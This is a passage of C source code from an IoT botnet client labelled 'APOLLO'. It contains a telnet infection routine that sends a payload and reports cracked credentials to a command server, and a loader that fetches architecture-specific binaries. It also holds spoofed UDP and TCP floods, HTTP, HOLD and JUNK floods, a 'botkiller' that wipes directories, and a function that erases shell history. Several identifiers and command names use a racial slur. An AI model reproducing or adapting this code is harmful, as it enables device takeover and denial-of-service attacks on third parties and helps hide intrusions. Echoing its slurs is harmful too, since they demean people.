  1481.                                                                         advance_state(&fds[i], 8);
  1482.                                                                     }
  1483.                                   break;
  1484.                                   case 8:
  1485.                                   {
  1486.                               fds[i].totalTimeout = time(NULL);
  1487.                               if(send(fds[i].fd, infect, strlen(infect), MSG_NOSIGNAL) < 0)
  1488.                                   {
  1489.                                     reset_telstate(&fds[i]);
  1490.                                     continue;
  1491.                                   }
  1492.                                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, infected))
  1493.                                     {
  1494.                                         if(strcasestr(fds[i].sockbuf, infectedmessage) && fds[i].complete != 3)
  1495.                                         {
  1496.                                             sockprintf(mainCommSock, "\x1b[1;30m|\x1b[1;37m\x1b[46mAPOLLO\x1b[0m\x1b[1;30m| INFECTION SUCCESS - %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1497.                                             sockprintf(mainCommSock, "TELNET %s:23 %s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1498.                                             fds[i].complete = 3;
  1499.                                         }
  1500.                                     }
  1501.                                       if(fds[i].totalTimeout + 300 < time(NULL))
  1502.                                       {
  1503.                                         if(fds[i].complete !=3){
  1504.                                             sockprintf(mainCommSock, "\x1b[1;30m|\x1b[1;37m\x1b[46mAPOLLO\x1b[0m\x1b[1;30m| FAILED TO INFECT - %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);  
  1505.                                         }
  1506.                                         reset_telstate(&fds[i]);
  1507.                                       }
  1508.                                     break;
  1509.                         }
  1510.             }
  1511.         }
  1512.     }              
  1513. }
  1514. char *getBuild_echo() {
  1515.   #ifdef ARCH_MIPS
  1516.   return "MIPS";
  1517.   #endif
  1518.   #ifdef ARCH_MIPSEL
  1519.   return "MIPSEL";
  1520.   #endif
  1521.   #ifdef ARCH_SH4
  1522.   return "SH4";
  1523.   #endif
  1524.   #ifdef ARCH_X86_64
  1525.   return "x86_64";
  1526.   #endif
  1527.   #ifdef ARCH_I5
  1528.   return "i586";
  1529.   #endif
  1530.   #ifdef ARCH_I6
  1531.   return "i686";
  1532.   #endif
  1533.   #ifdef ARCH_PPC
  1534.   return "PPC";
  1535.   #endif
  1536.   #ifdef ARCH_M68K
  1537.   return "m68k";
  1538.   #endif
  1539.   #ifdef ARCH_SPARC
  1540.   return "sparc";
  1541.   #endif
  1542.   #ifdef ARCH_ARMv4
  1543.   return "ARMv4";
  1544.   #endif
  1545.   #ifdef ARCH_ARMv5
  1546.   return "ARMv5";
  1547.   #endif
  1548.   #ifdef ARCH_ARM6
  1549.   return "ARMv6";
  1550.   #endif
  1551. }
  1552. /*
  1553. mips
  1554. mipsel
  1555. sh4
  1556. x86_64
  1557. i586
  1558. i686
  1559. powerpc
  1560. m68k
  1561. sparc
  1562. armv4
  1563. armv5
  1564. armv6
  1565. */
  1566. void fixedEchoLoader()
  1567. {
  1568.     char buffer[BUFFER_SIZE];
  1569.     char echo[666];
  1570.     int fd;
  1571.     int arch;
  1572.     arch = getBuild_echo();
  1573.     fd = socket_connect("127.0.0.1", 80);
  1574.     if (arch == "MIPS")
  1575.     {
  1576.         snprintf(echo, sizeof(buffer), "GET %s\r\n", mips);
  1577.         write(fd, echo, strlen(echo));
  1578.   }
  1579.   if (arch == "MIPSEL")
  1580.     {
  1581.         snprintf(echo, sizeof(buffer), "GET %s\r\n", mipsel);
  1582.         write(fd, echo, strlen(echo));
  1583.   }
  1584.   if (arch == "SH4")
  1585.     {
  1586.         snprintf(echo, sizeof(buffer), "GET %s\r\n", sh4);
  1587.         write(fd, echo, strlen(echo));
  1588.   }
  1589.   if (arch == "x86_64")
  1590.     {
  1591.         snprintf(echo, sizeof(buffer), "GET %s\r\n", x86_64);
  1592.         write(fd, echo, strlen(echo));
  1593.   }
  1594.   if (arch == "i586")
  1595.     {
  1596.         snprintf(echo, sizeof(buffer), "GET %s\r\n", i586);
  1597.         write(fd, echo, strlen(echo));
  1598.   }
  1599.     if (arch == "i686")
  1600.     {
  1601.         snprintf(echo, sizeof(buffer), "GET %s\r\n", i686);
  1602.         write(fd, echo, strlen(echo));
  1603.   }
  1604.   if (arch == "PPC")
  1605.     {
  1606.         snprintf(echo, sizeof(buffer), "GET %s\r\n", powerpc);
  1607.         write(fd, echo, strlen(echo));
  1608.   }
  1609.   if (arch == "m68k")
  1610.     {
  1611.         snprintf(echo, sizeof(buffer), "GET %s\r\n", m68k);
  1612.         write(fd, echo, strlen(echo));
  1613.   }
  1614.   if (arch == "sparc")
  1615.     {
  1616.         snprintf(echo, sizeof(buffer), "GET %s\r\n", sparc);
  1617.         write(fd, echo, strlen(echo));
  1618.   }
  1619.   if (arch == "ARMv4")
  1620.   {
  1621.     snprintf(echo, sizeof(buffer), "GET %s\r\n", armv4);
  1622.     write(fd, echo, strlen(echo));
  1623.   }
  1624.   if (arch == "ARMv5")
  1625.   {
  1626.     snprintf(echo, sizeof(buffer), "GET %s\r\n", armv5);
  1627.     write(fd, echo, strlen(echo));
  1628.   }
  1629.   if (arch == "ARMv6")
  1630.   {
  1631.     snprintf(echo, sizeof(buffer), "GET %s\r\n", armv6);
  1632.     write(fd, echo, strlen(echo));
  1633.   }
  1634.   else
  1635.   {
  1636.     write(fd, "GET *\r\n", strlen("GET *\r\n"));
  1637.   }
  1638.   bzero(buffer, BUFFER_SIZE);
  1639.   while(read(fd, buffer, BUFFER_SIZE - 1) != 0)
  1640.   {
  1641.     FILE *f;
  1642.     f = fopen("x", "a");
  1643.     fprintf(f, "%s", buffer);
  1644.     fclose(f);
  1645.     bzero(buffer, BUFFER_SIZE);
  1646.   }
  1647.   shutdown(fd, SHUT_RDWR);
  1648.   close(fd);
  1649. }
  1650. //Sends HOLD Flood
  1651. void sendHOLD(unsigned char *ip, int port, int end_time)
  1652. {
  1653. int max = getdtablesize() / 2, i;
  1654. struct sockaddr_in dest_addr;
  1655. dest_addr.sin_family = AF_INET;
  1656. dest_addr.sin_port = htons(port);
  1657. if(getHost(ip, &dest_addr.sin_addr)) return;
  1658. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1659. struct state_t
  1660. {
  1661. int fd;
  1662. uint8_t state;
  1663. } fds[max];
  1664. memset(fds, 0, max * (sizeof(int) + 1));
  1665. fd_set myset;
  1666. struct timeval tv;
  1667. socklen_t lon;
  1668. int valopt, res;
  1669. unsigned char *watwat = malloc(1024);
  1670. memset(watwat, 0, 1024);
  1671. int end = time(NULL) + end_time;
  1672. while(end > time(NULL))
  1673. {
  1674. for(i = 0; i < max; i++)
  1675. {
  1676. switch(fds[i].state)
  1677. {
  1678. case 0:
  1679. {
  1680. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1681. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1682. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1683. else fds[i].state = 1;
  1684. }
  1685. break;
  1686. case 1:
  1687. {
  1688. FD_ZERO(&myset);
  1689. FD_SET(fds[i].fd, &myset);
  1690. tv.tv_sec = 0;
  1691. tv.tv_usec = 10000;
  1692. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1693. if(res == 1)
  1694. {
  1695. lon = sizeof(int);
  1696. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1697. if(valopt)
  1698. {
  1699. close(fds[i].fd);
  1700. fds[i].state = 0;
  1701. } else {
  1702. fds[i].state = 2;
  1703. }
  1704. } else if(res == -1)
  1705. {
  1706. close(fds[i].fd);
  1707. fds[i].state = 0;
  1708. }
  1709. }
  1710. break;
  1711. case 2:
  1712. {
  1713. FD_ZERO(&myset);
  1714. FD_SET(fds[i].fd, &myset);
  1715. tv.tv_sec = 0;
  1716. tv.tv_usec = 10000;
  1717. res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  1718. if(res != 0)
  1719. {
  1720. close(fds[i].fd);
  1721. fds[i].state = 0;
  1722. }
  1723. }
  1724. break;
  1725. }
  1726. }
  1727. }
  1728. }
  1729. void sendJUNK(unsigned char *ip, int port, int end_time)
  1730. {
  1731.  
  1732.     int max = getdtablesize() / 2, i;
  1733.  
  1734.     struct sockaddr_in dest_addr;
  1735.     dest_addr.sin_family = AF_INET;
  1736.     dest_addr.sin_port = htons(port);
  1737.     if(getHost(ip, &dest_addr.sin_addr)) return;
  1738.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1739.  
  1740.     struct state_t
  1741.     {
  1742.         int fd;
  1743.         uint8_t state;
  1744.     } fds[max];
  1745.     memset(fds, 0, max * (sizeof(int) + 1));
  1746.  
  1747.     fd_set myset;
  1748.     struct timeval tv;
  1749.     socklen_t lon;
  1750.     int valopt, res;
  1751.  
  1752.     unsigned char *watwat = malloc(1024);
  1753.     memset(watwat, 0, 1024);
  1754.  
  1755.     int end = time(NULL) + end_time;
  1756.     while(end > time(NULL))
  1757.     {
  1758.         for(i = 0; i < max; i++)
  1759.         {
  1760.             switch(fds[i].state)
  1761.             {
  1762.             case 0:
  1763.                 {
  1764.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1765.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1766.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1767.                     else fds[i].state = 1;
  1768.                 }
  1769.                 break;
  1770.  
  1771.             case 1:
  1772.                 {
  1773.                     FD_ZERO(&myset);
  1774.                     FD_SET(fds[i].fd, &myset);
  1775.                     tv.tv_sec = 0;
  1776.                     tv.tv_usec = 10000;
  1777.                     res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1778.                     if(res == 1)
  1779.                     {
  1780.                         lon = sizeof(int);
  1781.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1782.                         if(valopt)
  1783.                         {
  1784.                             close(fds[i].fd);
  1785.                             fds[i].state = 0;
  1786.                         } else {
  1787.                             fds[i].state = 2;
  1788.                         }
  1789.                     } else if(res == -1)
  1790.                     {
  1791.                         close(fds[i].fd);
  1792.                         fds[i].state = 0;
  1793.                     }
  1794.                 }
  1795.                 break;
  1796.  
  1797.             case 2:
  1798.                 {
  1799.                     makeRandomStr(watwat, 1024);
  1800.                     if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  1801.                     {
  1802.                         close(fds[i].fd);
  1803.                         fds[i].state = 0;
  1804.                     }
  1805.                 }
  1806.                 break;
  1807.             }
  1808.         }
  1809.     }
  1810. }
  1811. void sendSTD(unsigned char *ip, int port, int secs) {
  1812.  
  1813. int iSTD_Sock;
  1814.  
  1815. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1816.  
  1817. time_t start = time(NULL);
  1818.  
  1819. struct sockaddr_in sin;
  1820.  
  1821. struct hostent *hp;
  1822.  
  1823. hp = gethostbyname(ip);
  1824.  
  1825. bzero((char*) &sin,sizeof(sin));
  1826. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1827. sin.sin_family = hp->h_addrtype;
  1828. sin.sin_port = port;
  1829.  
  1830. unsigned int a = 0;
  1831.  
  1832. while(1){
  1833. char *randstrings[] = {"arfgG", "HBiug655", "KJYDFyljf754", "LIKUGilkut769458905", "JHFDSkgfc5747694", "GJjyur67458", "RYSDk747586", "HKJGi5r8675", "KHGK7985i", "yuituiILYF", "GKJDghfcjkgd4", "uygtfgtrevf", "tyeuhygbtfvg", "ewqdcftr", "trbazetghhnbrty", "tbhrwsehbg", "twehgbferhb", "etrbhhgetrb", "edfverthbyrtb", "kmiujmnhnhfgn", "zcdbvgdfsbgfd", "gdfbtsdgb", "ghdugffytsdyt", "tgerthgwtrwry", "yteytietyue", "qsortEQS", "8969876hjkghblk", "std", "dts", "lsk", "kek", "smack", "ily", "tyf", "pos", "cunts"};
  1834. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  1835. if (a >= 50)
  1836. {
  1837. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  1838. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1839. if (time(NULL) >= start + secs)
  1840. {
  1841. close(iSTD_Sock);
  1842. _exit(0);
  1843. }
  1844. a = 0;
  1845. }
  1846. a++;
  1847. }
  1848. }
  1849.  
  1850. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime)
  1851. {
  1852. struct sockaddr_in dest_addr;
  1853.  
  1854. dest_addr.sin_family = AF_INET;
  1855. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1856. else dest_addr.sin_port = htons(port);
  1857. if(getHost(target, &dest_addr.sin_addr)) return;
  1858. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1859.  
  1860. register unsigned int pollRegister;
  1861. pollRegister = pollinterval;
  1862.  
  1863. if(spoofit == 32)
  1864. {
  1865. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1866. if(!sockfd)
  1867. {
  1868. sockprintf(mainCommSock, "Failed opening raw socket.");
  1869. return;
  1870. }
  1871.  
  1872. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1873. if(buf == NULL) return;
  1874. memset(buf, 0, packetsize + 1);
  1875. makeRandomStr(buf, packetsize);
  1876.  
  1877. int end = time(NULL) + timeEnd;
  1878. register unsigned int i = 0;
  1879. register unsigned int ii = 0;
  1880. while(1)
  1881. {
  1882. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1883.  
  1884. if(i == pollRegister)
  1885. {
  1886. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1887. if(time(NULL) > end) break;
  1888. i = 0;
  1889. continue;
  1890. }
  1891. i++;
  1892. if(ii == sleepcheck)
  1893. {
  1894. usleep(sleeptime*1000);
  1895. ii = 0;
  1896. continue;
  1897. }
  1898. ii++;
  1899. }
  1900. } else {
  1901. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1902. if(!sockfd)
  1903. {
  1904. sockprintf(mainCommSock, "Failed opening raw socket.");
  1905. return;
  1906. }
  1907.  
  1908. int tmp = 1;
  1909. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1910. {
  1911. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1912. return;
  1913. }
  1914.  
  1915. int counter = 50;
  1916. while(counter--)
  1917. {
  1918. srand(time(NULL) ^ rand_cmwc());
  1919. init_rand(rand());
  1920. }
  1921.  
  1922. in_addr_t netmask;
  1923.  
  1924. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1925. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1926.  
  1927. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1928. struct iphdr *iph = (struct iphdr *)packet;
  1929. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1930.  
  1931. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GetRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1932.  
  1933. udph->len = htons(sizeof(struct udphdr) + packetsize);
  1934. udph->source = rand_cmwc();
  1935. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1936. udph->check = 0;
  1937.  
  1938. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1939.  
  1940. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1941.  
  1942. int end = time(NULL) + timeEnd;
  1943. register unsigned int i = 0;
  1944. register unsigned int ii = 0;
  1945. while(1)
  1946. {
  1947. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1948.  
  1949. udph->source = rand_cmwc();
  1950. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1951. iph->id = rand_cmwc();
  1952. iph->saddr = htonl( GetRandomIP(netmask) );
  1953. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1954.  
  1955. if(i == pollRegister)
  1956. {
  1957. if(time(NULL) > end) break;
  1958. i = 0;
  1959. continue;
  1960. }
  1961. i++;
  1962.  
  1963. if(ii == sleepcheck)
  1964. {
  1965. usleep(sleeptime*1000);
  1966. ii = 0;
  1967. continue;
  1968. }
  1969. ii++;
  1970. }
  1971. }
  1972. }
  1973.  
  1974. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1975. {
  1976. register unsigned int pollRegister;
  1977. pollRegister = pollinterval;
  1978.  
  1979. struct sockaddr_in dest_addr;
  1980.  
  1981. dest_addr.sin_family = AF_INET;
  1982. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1983. else dest_addr.sin_port = htons(port);
  1984. if(getHost(target, &dest_addr.sin_addr)) return;
  1985. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1986.  
  1987. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1988. if(!sockfd)
  1989. {
  1990. sockprintf(mainCommSock, "Failed opening raw socket.");
  1991. return;
  1992. }
  1993.  
  1994. int tmp = 1;
  1995. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1996. {
  1997. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1998. return;
  1999. }
  2000.  
  2001. in_addr_t netmask;
  2002.  
  2003. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2004. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2005.  
  2006. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  2007. struct iphdr *iph = (struct iphdr *)packet;
  2008. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  2009.  
  2010. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GetRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  2011.  
  2012. tcph->source = rand_cmwc();
  2013. tcph->seq = rand_cmwc();
  2014. tcph->ack_seq = 0;
  2015. tcph->doff = 5;
  2016.  
  2017. if(!strcmp(flags, "all"))
  2018. {
  2019. tcph->syn = 1;
  2020. tcph->rst = 1;
  2021. tcph->fin = 1;
  2022. tcph->ack = 1;
  2023. tcph->psh = 1;
  2024. } else {
  2025. unsigned char *pch = strtok(flags, ",");
  2026. while(pch)
  2027. {
  2028. if(!strcmp(pch, "syn"))
  2029. {
  2030. tcph->syn = 1;
  2031. } else if(!strcmp(pch, "rst"))
  2032. {
  2033. tcph->rst = 1;
  2034. } else if(!strcmp(pch, "fin"))
  2035. {
  2036. tcph->fin = 1;
  2037. } else if(!strcmp(pch, "ack"))
  2038. {
  2039. tcph->ack = 1;
  2040. } else if(!strcmp(pch, "psh"))
  2041. {
  2042. tcph->psh = 1;
  2043. } else {
  2044. sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  2045. }
  2046. pch = strtok(NULL, ",");
  2047. }
  2048. }
  2049.  
  2050. tcph->window = rand_cmwc();
  2051. tcph->check = 0;
  2052. tcph->urg_ptr = 0;
  2053. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2054. tcph->check = tcpcsum(iph, tcph);
  2055.  
  2056. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2057.  
  2058. int end = time(NULL) + timeEnd;
  2059. register unsigned int i = 0;
  2060. while(1)
  2061. {
  2062. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2063.  
  2064. iph->saddr = htonl( GetRandomIP(netmask) );
  2065. iph->id = rand_cmwc();
  2066. tcph->seq = rand_cmwc();
  2067. tcph->source = rand_cmwc();
  2068. tcph->check = 0;
  2069. tcph->check = tcpcsum(iph, tcph);
  2070. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2071.  
  2072. if(i == pollRegister)
  2073. {
  2074. if(time(NULL) > end) break;
  2075. i = 0;
  2076. continue;
  2077. }
  2078. i++;
  2079. }
  2080. }
  2081.  
  2082. void botkiller(){
  2083. char* Niggerdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", (char*) 0};//wtf are we doing here well these are the directory
  2084. char hacker[80];
  2085. char botkill[80];
  2086. char buf[128];
  2087. int i, num_tmps, j;
  2088. for(j = 0; j < num_tmps; j++)
  2089. {
  2090. memset(buf, 0, 128);
  2091. if(j == 0)
  2092. snprintf(buf, 127, ">%s.t && cd %s && for a in `ls -a %s`; do >$a; done; >retrieve ;echo ps aux >> proc ; pkill -9 %d\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], bots[j]);
  2093. else
  2094. snprintf(buf, 127, ">%s.t && cd %s ; >retrieve\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j]);
  2095. system(buf);
  2096. sprintf(botkill, "pkill -9 %s\r\n", bots[j]);
  2097. system(botkill);
  2098. return;
  2099. }
  2100. sleep(5);
  2101. }
  2102. void ClearHistory()
  2103. {
  2104. system("history -c;history -w");
  2105. system("cd /root;rm -rf .bash_history");
  2106. system("cd /var/tmp; rm -f *");
  2107. }
  2108. void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
  2109. const char *connections[] = {"close", "keep-alive", "accept"};
  2110. int i, timeEnd = time(NULL) + timeFoo;
  2111. char request[512];
  2112. sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 30)], useragents[(rand() % 33)]);
  2113. for (i = 0; i < power; i++) {
  2114. if (fork()) {
  2115. while (timeEnd > time(NULL)) {
  2116. int socket = socket_connect((char *)host, port);
  2117. if (socket != 0) {
  2118. write(socket, request, strlen(request));
  2119. close(socket);
  2120. }
  2121. }
  2122. _exit(1);
  2123. }
  2124. }
  2125. }
  2126.  
  2127.  
  2128. void sendCNC(unsigned char *ip,int port, int end_time)
  2129. {
  2130. int end = time(NULL) + end_time;
  2131. int sockfd;
  2132. struct sockaddr_in server;
  2133. server.sin_addr.s_addr = inet_addr(ip);
  2134. server.sin_family = AF_INET;
  2135. server.sin_port = htons(port);
  2136. while(end > time(NULL))
  2137. {
  2138. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  2139. connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  2140. sleep(1);
  2141. close(sockfd);
  2142. }
  2143. }
  2144. void UpdateBins()
  2145. {
  2146. int pid;
  2147. if ( (pid = fork()) == 0) {
  2148. char update[1024];
  2149. snprintf(update, sizeof(update), "%s", infect);
  2150. system(update);
  2151. sleep(20);
  2152. } else {
  2153. printf("%d\n", pid);
  2154. }
  2155.  
  2156. return;
  2157. }
  2158.  
  2159. void processCmd(int argc, unsigned char *argv[])
  2160. {
  2161. if(!strcmp(argv[0], "PING"))
  2162. {
  2163. sockprintf(mainCommSock, "PONG!");
  2164. return;
  2165. }
  2166.  
  2167. if(!strcmp(argv[0], "TABLE"))
  2168. {
  2169. sockprintf(mainCommSock, "%d", getdtablesize());
  2170. return;
  2171. }
  2172.  
  2173. if(!strcmp(argv[0], "UPDATE"))
  2174. {
  2175. sockprintf(mainCommSock, "UPDATE TAKEN SUCCESFULLY");
  2176. UpdateBins();
  2177. return;
  2178. }
  2179.  
  2180. if(!strcmp(argv[0], "TELSCAN"))
  2181. {
  2182. if(!strcmp(argv[1], "OFF"))
  2183. {
  2184. if(scanPid == 0) return;
  2185. kill(scanPid, 9);
  2186. sockprintf(mainCommSock, "STOPPING SCANNER");
  2187. scanPid = 0;
  2188. }
  2189. if(!strcmp(argv[1], "ON"))
  2190. {
  2191. if(scanPid != 0) return;
  2192. uint32_t parent;
  2193. parent = fork();
  2194. int threads = 500;
  2195. int timeout = 60;
  2196. if (parent > 0) { scanPid = parent; return;}
  2197. else if(parent == -1) return;
  2198. StartTheLelz(threads, timeout);
  2199. _exit(0);
  2200. }
  2201. }
  2202.  
  2203. if(!strcmp(argv[0], "NIGGERKILL"))
  2204. {
  2205. if(!listFork())
  2206. {
  2207. botkiller();
  2208. _exit(0);
  2209. }
  2210. }
  2211.  
  2212. if(!strcmp(argv[0], "GETPUBLICIP"))
  2213. {
  2214. sockprintf(mainCommSock, "My Public IP: %s", inet_ntoa(ourIP));
  2215. return;
  2216. }
  2217.  
  2218. if(!strcmp(argv[0], "HOLD"))
  2219. {
  2220. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2221. {
  2222. return;
  2223. }
  2224. unsigned char *ip = argv[1];
  2225. int port = atoi(argv[2]);
  2226. int time = atoi(argv[3]);
  2227. if(strstr(ip, ",") != NULL)
  2228. {
  2229. unsigned char *hi = strtok(ip, ",");
  2230. while(hi != NULL)
  2231. {
  2232. if(!listFork())
  2233. {
  2234. sendHOLD(hi, port, time);
  2235. _exit(0);
  2236. }
  2237. hi = strtok(NULL, ",");
  2238. }
  2239. } else {
  2240. if (listFork()) { return; }
  2241. sendHOLD(ip, port, time);
  2242. _exit(0);
  2243. }
  2244. }
  2245. if(!strcmp(argv[0], "JUNK"))
  2246. {
  2247. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2248. {
  2249. return;
  2250. }
  2251. unsigned char *ip = argv[1];
  2252. int port = atoi(argv[2]);
  2253. int time = atoi(argv[3]);
  2254. if(strstr(ip, ",") != NULL)
  2255. {
  2256. unsigned char *hi = strtok(ip, ",");
  2257. while(hi != NULL)
  2258. {
  2259. if(!listFork())
  2260. {
  2261. sendJUNK(hi, port, time);
  2262. close(mainCommSock);
  2263. _exit(0);
  2264. }
  2265. hi = strtok(NULL, ",");
  2266. }
  2267. } else {
  2268. if (listFork()) { return; }
  2269. sendJUNK(ip, port, time);
  2270. _exit(0);
  2271. }
  2272. }
  2273.  
  2274. if(!strcmp(argv[0], "UDP"))
  2275. {
  2276. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65536 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  2277. {
  2278. return;
  2279. }
  2280.  
  2281. unsigned char *ip = argv[1];
  2282. int port = atoi(argv[2]);
  2283. int time = atoi(argv[3]);
  2284. int spoofed = atoi(argv[4]);
  2285. int packetsize = atoi(argv[5]);
  2286. int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000);
  2287. int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000);
  2288. int sleeptime = (argc > 8 ? atoi(argv[8]) : 0);
  2289.  
  2290. if(strstr(ip, ",") != NULL)
  2291. {
  2292. unsigned char *hi = strtok(ip, ",");
  2293. while(hi != NULL)
  2294. {
  2295. if(!listFork())
  2296. {
  2297. sendUDP(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  2298. _exit(0);
  2299. }
  2300. hi = strtok(NULL, ",");
  2301. }
  2302. } else {
  2303. if (!listFork()){
  2304. sendUDP(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  2305. _exit(0);
  2306. }
  2307. }
  2308. return;
  2309. }
  2310.  
  2311. if(!strcmp(argv[0], "TCP"))
  2312. {
  2313. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  2314. {
  2315. return;
  2316. }
  2317.  
  2318. unsigned char *ip = argv[1];
  2319. int port = atoi(argv[2]);
  2320. int time = atoi(argv[3]);
  2321. int spoofed = atoi(argv[4]);
  2322. unsigned char *flags = argv[5];
  2323.  
  2324. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  2325. int psize = argc > 6 ? atoi(argv[6]) : 0;
  2326.  
  2327. if(strstr(ip, ",") != NULL)
  2328. {
  2329. unsigned char *hi = strtok(ip, ",");
  2330. while(hi != NULL)
  2331. {
  2332. if(!listFork())
  2333. {
  2334. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  2335. _exit(0);
  2336. }
  2337. hi = strtok(NULL, ",");
  2338. }
  2339. } else {
  2340. if (!listFork()) {
  2341. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  2342. _exit(0);
  2343. }
  2344. }
  2345. }
  2346. if (!strcmp((const char *)argv[0], "HTTP")) {
  2347. if (argc < 6)
  2348. {
  2349. return;
  2350. }
  2351.  
  2352. if (strstr((const char *)argv[1], ",") != NULL) {
  2353. unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
  2354. while (hi != NULL) {
  2355. if (!listFork()) {
  2356. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2357. _exit(0);
  2358. }
  2359. hi = (unsigned char *)strtok(NULL, ",");
  2360. }
  2361. } else {
  2362. if (listFork()) {
  2363. return;
  2364. }
